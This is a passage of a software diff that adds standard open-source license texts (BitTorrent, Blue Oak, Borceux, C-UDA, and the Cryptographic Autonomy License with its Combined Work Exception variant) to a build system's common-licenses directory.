+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth herein.
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that in any litigation relating to this license the losing party shall be responsible for costs including, without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is controlled by, is under common control with, or affiliated with, you. For purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. You are responsible for advising any affiliated entity of the terms of this License, and that any rights or privileges derived from or obtained by way of this License are subject to the restrictions outlined herein.
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification. (See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained therein, plus any associated interface definition files, scripts used to control compilation and installation of an executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or any hereto. Contributors to any Modifications may add their own copyright notices to identify their own contributions.
+
+License:
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not copy or use this file, in either source code or executable form, except in compliance with the License. You may obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+BitTorrent, Inc.
diff --git a/meta/files/common-licenses/BlueOak-1.0.0 b/meta/files/common-licenses/BlueOak-1.0.0
new file mode 100644
index 0000000000..c5402b9577
--- /dev/null
+++ b/meta/files/common-licenses/BlueOak-1.0.0
@@ -0,0 +1,55 @@
+# Blue Oak Model License
+
+Version 1.0.0
+
+## Purpose
+
+This license gives everyone as much permission to work with
+this software as possible, while protecting contributors
+from liability.
+
+## Acceptance
+
+In order to receive this license, you must agree to its
+rules. The rules of this license are both obligations
+under that agreement and conditions to your license.
+You must not do anything with this software that triggers
+a rule that you cannot or will not follow.
+
+## Copyright
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe that contributor's
+copyright in it.
+
+## Notices
+
+You must ensure that everyone who gets a copy of
+any part of this software from you, with or without
+changes, also gets the text of this license or a link to
+<https://blueoakcouncil.org/license/1.0.0>.
+
+## Excuse
+
+If anyone notifies you in writing that you have not
+complied with [Notices](#notices), you can keep your
+license by taking all practical steps to comply within 30
+days after the notice. If you do not do so, your license
+ends immediately.
+
+## Patent
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe any patent claims
+they can license or become able to license.
+
+## Reliability
+
+No contributor can revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is,
+without any warranty or condition, and no contributor
+will be liable to anyone for any damages related to this
+software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Borceux b/meta/files/common-licenses/Borceux
new file mode 100644
index 0000000000..4856e78859
--- /dev/null
+++ b/meta/files/common-licenses/Borceux
@@ -0,0 +1,19 @@
+Copyright 1993 Francis Borceux
+You may freely use, modify, and/or distribute each of the files in this package without limitation. The package consists of the following files:
+
+README
+compatibility/OldDiagram
+compatibility/OldMaxiDiagram
+compatibility/OldMicroDiagram
+compatibility/OldMiniDiagram
+compatibility/OldMultipleArrows
+diagram/Diagram
+diagram/MaxiDiagram
+diagram/MicroDiagram
+diagram/MiniDiagram
+diagram/MultipleArrows
+user-guides/Diagram_Mode_d_Emploi
+user-guides/Diagram_Read_Me
+
+Of course no support is guaranteed, but the author will attempt to assist with problems. Current email address:
+francis dot borceux at uclouvain dot be.
diff --git a/meta/files/common-licenses/C-UDA-1.0 b/meta/files/common-licenses/C-UDA-1.0
new file mode 100644
index 0000000000..9f7c57df5a
--- /dev/null
+++ b/meta/files/common-licenses/C-UDA-1.0
@@ -0,0 +1,47 @@
+Computational Use of Data Agreement v1.0
+
+This is the Computational Use of Data Agreement, Version 1.0 (the “C-UDA”). Capitalized terms are defined in Section 5. Data Provider and you agree as follows:
+
+1. Provision of the Data
+
+1.1. You may use, modify, and distribute the Data made available to you by the Data Provider under this C-UDA for Computational Use if you follow the C-UDA's terms.
+
+1.2. Data Provider will not sue you or any Downstream Recipient for any claim arising out of the use, modification, or distribution of the Data provided you meet the terms of the C-UDA.
+
+1.3 This C-UDA does not restrict your use, modification, or distribution of any portions of the Data that are in the public domain or that may be used, modified, or distributed under any other legal exception or limitation.
+
+2. Restrictions
+
+2.1 You agree that you will use the Data solely for Computational Use.
+
+2.2 The C-UDA does not impose any restriction with respect to the use, modification, or distribution of Results.
+
+3. Redistribution of Data
+
+3.1. You may redistribute the Data, so long as:
+
+3.1.1. You include with any Data you redistribute all credit or attribution information that you received with the Data, and your terms require any Downstream Recipient to do the same; and
+
+3.1.2. You bind each recipient to whom you redistribute the Data to the terms of the C-UDA.
+
+4. No Warranty, Limitation of Liability
+
+4.1. Data Provider does not represent or warrant that it has any rights whatsoever in the Data.
+
+4.2. THE DATA IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+4.3. NEITHER DATA PROVIDER NOR ANY UPSTREAM DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. “Computational Use” means activities necessary to enable the use of Data (alone or along with other material) for analysis by a computer.
+
+5.2.“Data” means the material you receive under the C-UDA in modified or unmodified form, but not including Results.
+
+5.3. “Data Provider” means the source from which you receive the Data and with whom you enter into the C-UDA.
+
+5.4. “Downstream Recipient” means any person or persons who receives the Data directly or indirectly from you in accordance with the C-UDA.
+
+5.5. “Result” means anything that you develop or improve from your use of Data that does not include more than a de minimis portion of the Data on which the use is based. Results may include de minimis portions of the Data necessary to report on or explain use that has been conducted with the Data, such as figures in scientific papers, but do not include more. Artificial intelligence models trained on Data (and which do not include more than a de minimis portion of Data) are Results.
+
+5.6. “Upstream Data Providers” means the source or sources from which the Data Provider directly or indirectly received, under the terms of the C-UDA, material that is included in the Data.
diff --git a/meta/files/common-licenses/CAL-1.0 b/meta/files/common-licenses/CAL-1.0
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
diff --git a/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
